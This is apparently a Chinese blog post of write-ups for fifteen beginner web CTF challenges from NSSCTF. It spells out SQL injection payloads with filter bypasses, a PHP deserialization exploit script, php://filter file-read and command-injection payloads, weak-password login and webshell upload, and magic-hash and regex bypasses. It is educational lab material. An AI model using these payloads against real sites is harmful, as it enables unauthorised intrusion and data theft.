nss第三页

1、[SWPUCTF 2021 新生赛]error

这题是一个报错注入

1' union select 1,2,3#

1' union select 1,2,databas()#

报错FUNCTION test_db.databas does not exist

-1' union select 1,2,extractvalue(1,concat(0x7e,(select database())))#

XPATH syntax error: '~test_db'

-1' and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))#

XPATH syntax error: '~test_tb,users'

-1' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='test_tb')))#

id,flag

-1' and 1=extractvalue(1,concat(0x7e,(select group_concat(flag) from test_tb)))#

-1' and 1=extractvalue(1,concat(0x7e,(select substring((group_concat(flag)),15,16) from test_tb)))#

NSSCTF{e1d173be-96a7-4735-af1f-02c442b185b0}

f-02c442b185b0}

2、[SWPUCTF 2021 新生赛]pop

打开题目一道典型的反序列化题目,个人感觉主要考察魔术方法的调用时机

首先·可以看到有个显眼的getflag函数,能够输出flag,pop链的末端肯定是他,在其他的两个类中,有个 __destruct()魔术方法,在反序列化之后调用,还有个 __tostring() 魔术方法(当类被当作字符串输出的时候调用)

而题目有个反序列化函数,那么在它之后就执行 __destruct()魔术方法,这个魔术方法有个echo函数,那么我们就可以利用这点让它输出w33m这个类,借此调用 __tostring()魔术方法,在这个魔术方法里有个看着像函数的调用:$this->w00m->{$this->w22m},那么我们可以将w00m赋值为一个类,将w22m赋值为所要调用的方法,那么就构造了函数的调用

如此pop链为:w22m::__destruct()->w33m::__tostring()->w44m::getflag()

php脚本

<?php class w44m { private $admin = 'w44m'; protected $passwd = '08067'; } class w22m{ public $w00m; } class w33m{ public $w00m; public $w22m; } $a=new w22m(); $a->w00m=new w33m(); $a->w00m->w00m=new w44m(); $a->w00m->w22m='Getflag'; echo urlencode(serialize($a));

3、[SWPUCTF 2022 新生赛]ez_ez_php

这题file要求前三个字符为php,而且,还有个include函数,不用想就是文件包含了,直接用filter过滤器

?file=php://filter/read=convert.base64-encode/resource=flag

4、[LitCTF 2023]作业管理系统

这题首先是一个登录系统,可以用弱密码 admin admin直接登录进去

然后来到下面这个页面,直接在题目里面写马

上传,然后命令执行

5、[UUCTF 2022 新生赛]websign

这题直接查看源码就行了

6、[LitCTF 2023]Http pro max plus

按照·题目要求来就行了,然后改相应的http头

这里有个要注意的是,client-ip 这个头也可以用来表示本地的ip地址,然后 via 头是用来设置代理的

最后访问/wtfwtfwtfwtf.php拿到flag

7、[SWPUCTF 2021 新生赛]sql

查看源码,可以看到参数是wllm

然后用get传参输入参数吧,发现有回显

当输入--+时候,有弹窗,应该被过滤了

然后直接爆破关键字吧,看看过滤了什么,因为我们知道--+被过滤了,他爆破出来的长度为525,所以与它一样的长度的关键字都被过滤了,这里空格也被过滤了,但是它这没有回显正确的长度

可以自己手动调试

因为等号=被过滤了,我们还可以使用like模糊匹配

-1'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()%23 LTLT_flag,users

爆出了含有flag的表,那么就直接使用这个表,利用like

-1'/**/union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/'LTLT_flag'%23 id,flag

爆出了flag这个列

直接读吧

-1'/**/union/**/select/**/1,2,flag/**/from/**/LTLT_flag%23 NSSCTF{75d2a667-eaae

这里只回显了flag的一部分

首先想到的是通过substr来截取字符串展示后面的flag内容,但是通过刚刚爆破的结果发现它被过滤掉了,left,right也被过滤掉了,

但是mid没有被过滤掉,这里关于他的用法举个例子吧

str=“123456” mid(str,2,1) 结果为2,索引从1开始

-1'/**/union/**/select/**/1,2,mid((select/**/flag),20,20)/**/from/**/LTLT_flag%23 e-4194-8e27-830f2e7e

这里我们要了解正式flag的形式,各个部分的长度为8,4,4,4,12,每个长度之间用 - 来隔开,

综合上面得到的flag来看,最后一部分还少了,所以控制mid函数的第二个参数,把最后一部分的flag弄出来

最后拼接,拿到flag

8、[SWPUCTF 2021 新生赛]finalrce

首先来看一下代码,最后会执行一个exec函数,这个函数不会将命令执行的结果在网页上显示,这时候就需要就到一个tee命令,用于将命令的输出写入到一个或者多个文件,

如 ls | tee 1.txt

将ls 列出的目录结果写入到1.txt文件里去

这题因为ls过滤了,我们这时候就可以用 \ 或者 `` 绕过,如 l\s 或者 l``s,就可以到达绕过效果了

输入?url=l``s /|tee 3.txt,然后访问 3.txt

最后用相同的方法拿flag就行了,注意la被过滤了,记得用 l\a 来绕过

9、[鹏城杯 2022]简单包含

这题有include函数,不用想就是文件包含,直接用filter来读

显示有waf,看看源码里有什么

flag=php://filter/read=convert.base64-encode/resource=index.php

拿去解码得到

也就是说如果要出现flag,只能让if的第一个条件为假,后面才能包含成功,所以要让传入的数据大于等于800

为了方便直接在flag前面传800个a,然后后面跟上flag=php://filter/read=convert.base64-encode/resource=/var/www/html/flag.php

最后拿去解码,拿到flag

10、[HDCTF 2023]Welcome To HDCTF 2023

这题在游戏的js页面可以找到一串jsfuck码,拿去解码就可以拿到flag了

11、[LitCTF 2023]Vim yyds

这是一个vim编译器信息泄露的考点,

访问 /.index.php.swp

得到这个文件,这个文件是倒着来的,因为

如果password等于base64_encode('Give_Me_Your_Flag')那么就会获得一个命令执行函数

最后的payload

POST:password=R2l2ZV9NZV9Zb3VyX0ZsYWc=&cmd=cat /flag

12、[NSSCTF 2022 Spring Recruit]babyphp

这题前面两个if直接用数组绕过就好了,这里有个新的知识点,当intval函数的参数为非空数组的时候,会返回 1,如此就达到了绕过效果

最后一个if语句的话,需要传入的c1 c2为字符串,所以就不能传数组了,并且是弱比较,所以还能传字符串(经过md5加密后的值是0e开头的)

这里浅浅的列出来几个

s878926199a

QNKCDZO

s155964671a

s214587387a

s214587387a

最后的payload:

a[]=1&b1[]=1&b2[]=2&c1=QNKCDZO&c2=s214587387a

13、[HNCTF 2022 Week1]Interesting_include

这题主要看if条件,如果不含有flag为正,那么就输出error,否则包含filer,直接用filter就行了

最后的payload:

?filter=php://filter/read=convert.base64-encode/resource=./flag.php

得到base64编码,最后拿去解码拿到flag

14、[鹤城杯 2021]EasyP

首先来看代码吧,有个utils.php文件,然后的话传入一个guess,如果他的值和$secret的值相等,那么就输出flag,但是这题并没有设置secret的值,所以这里不重要,最重要的是下面这三个if

if (preg_match('/utils.php/*$/i', $_SERVER['PHP_SELF'])) {

exit("hacker :)");

}

这段代码的意思表示如果$_SERVER['PHP_SELF']的末尾文件名是以utils.php结尾的那么就直接输出hack并退出

$_SERVER['PHP_SELF']是调用脚本的路径,比如访问的是:http://1.14.71.254:28189/index.php/utils.php

那么他的值就是index.php/utils.php

if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){

exit("hacker :)");

}

这个表示如果$_SERVER['REQUEST_URI中含有show_source 那么就输出hacker然后退出

$_SERVER['REQUEST_URI]和$_SERVER['PHP_SELF']的值其实是一样的,但是如果url后面有参数的话它会加上那个参数

如:http://1.14.71.254:28189/index.php/utils.php?a=1

此时$_SERVER['REQUEST_URI]的值就为index.php/utils.php?a=1

if (isset($_GET['show_source'])) {

highlight_file(basename($_SERVER['PHP_SELF']));

exit();

}

最后就是basename这个函数了

也就是会返回url中最后一个 / 后面的文件名,而highlight_file函数可以用来读取文件的内容,所以最后的目的就是要把utils.php传入进去,并且绕过前面那些正则

首先$_SERVER['PHP_SELF']不能以utils.php结尾,并且最后会调用basename这个函数,而basename处理不了非ascii编码,如果是ascii编码则会去掉这个非ascii,然后去前一个文件名,所以我们可以构造 如:utils.php/我,最后得到的结果就是utils.php了,

最后就是:isset($_GET['show_source']) 。 即show_source这个参数要被设置,并且$_SERVER['REQUEST_URI']不能出现show_source,这里是矛盾的,因为参数总会出现在$_SERVER['REQUEST_URL']里,这里有个知识点就是,php变量命名只能含有数字,字母,和下划线,当出现 [ 或者 + 这些符号的时候,会自动转化成下划线

所以最后的payload就出来了:

index.php/utils.php/我?show+source=1

15、[HUBUCTF 2022 新生赛]checkin

这题先看这个正则,$info = isset($_GET['info'])? $_GET['info']: "" ; 如果info设置了值为真,那么就把传入的值赋给$info,否则赋值为""

接着就是进行反序列化,然后看if条件语句

if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){

    echo $flag;

}

如果反序列化的结果找username,并且他的值弱等于$username,同样password也是,那么就输出flag

这里看到通过索引找其对应的值就能想到数组,而且后面是弱比较,那么可以传入0让他与字符串相等,

如此,答案就出来了,php脚本:

<?php $arr=array('username'=>0,'password'=>0); echo serialize($arr);

payload:

?info=a:2:{s:8:"username";i:0;s:8:"password";i:0;}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值